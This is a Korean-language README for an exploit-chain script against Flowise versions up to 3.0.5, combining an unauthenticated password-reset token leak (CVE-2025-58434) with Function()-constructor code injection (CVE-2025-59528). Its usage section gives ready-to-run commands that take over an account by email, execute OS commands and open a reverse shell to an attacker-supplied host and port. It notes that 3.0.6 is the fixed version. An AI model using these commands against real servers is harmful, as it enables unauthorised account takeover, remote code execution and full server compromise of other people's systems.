CVE-2025-58434 + CVE-2025-59528

Flowise <= 3.0.5에 영향을 미치는 두 가지 취약점에 대한 익스플로잇 체인입니다.

취약점

CVE-2025-58434 — 인증되지 않은 계정 탈취

비밀번호 찾기 엔드포인트는 인증 없이 API 응답에 유효한 비밀번호 재설정 토큰을 반환합니다. 유효한 이메일 주소를 알고 있는 공격자는 사용자 상호작용 없이 모든 계정의 비밀번호를 재설정할 수 있습니다.

CVE-2025-59528 — 인증된 원격 코드 실행

CustomMCP 노드는 사용자 제어 입력을 전체 Node.js 권한으로 Function() 생성자에 직접 전달합니다. 유효한 API 키를 가진 인증된 사용자는 Flowise 프로세스 사용자 권한으로 임의의 OS 명령을 실행할 수 있습니다.

수정 버전: Flowise 3.0.6

요구 사항

• Python 3.8+
• pip install requests

사용법

전체 ATO 체인 (비밀번호 재설정, API 키 요청, 리버스 셸 실행):

python3 flowise_chain.py -t http://target -e [email protected]

RCE만 (이미 API 키가 있는 경우):

python3 flowise_chain.py -t http://target --api-key <KEY> -c "id"

기존 키로 리버스 셸:

python3 flowise_chain.py -t http://target --api-key <KEY> --lhost 10.0.0.1 --lport 4444

옵션

참고 사항

Flowise 3.0.5의 특성으로 인해 비밀번호 재설정 API 엔드포인트가 로그인 엔드포인트가 허용하는 자격 증명을 즉시 업데이트하지 않습니다. 스크립트는 재설정 후 일시 중지되며 UI에 수동으로 로그인하여 /apikey에서 API 키를 복사하라는 메시지를 표시합니다.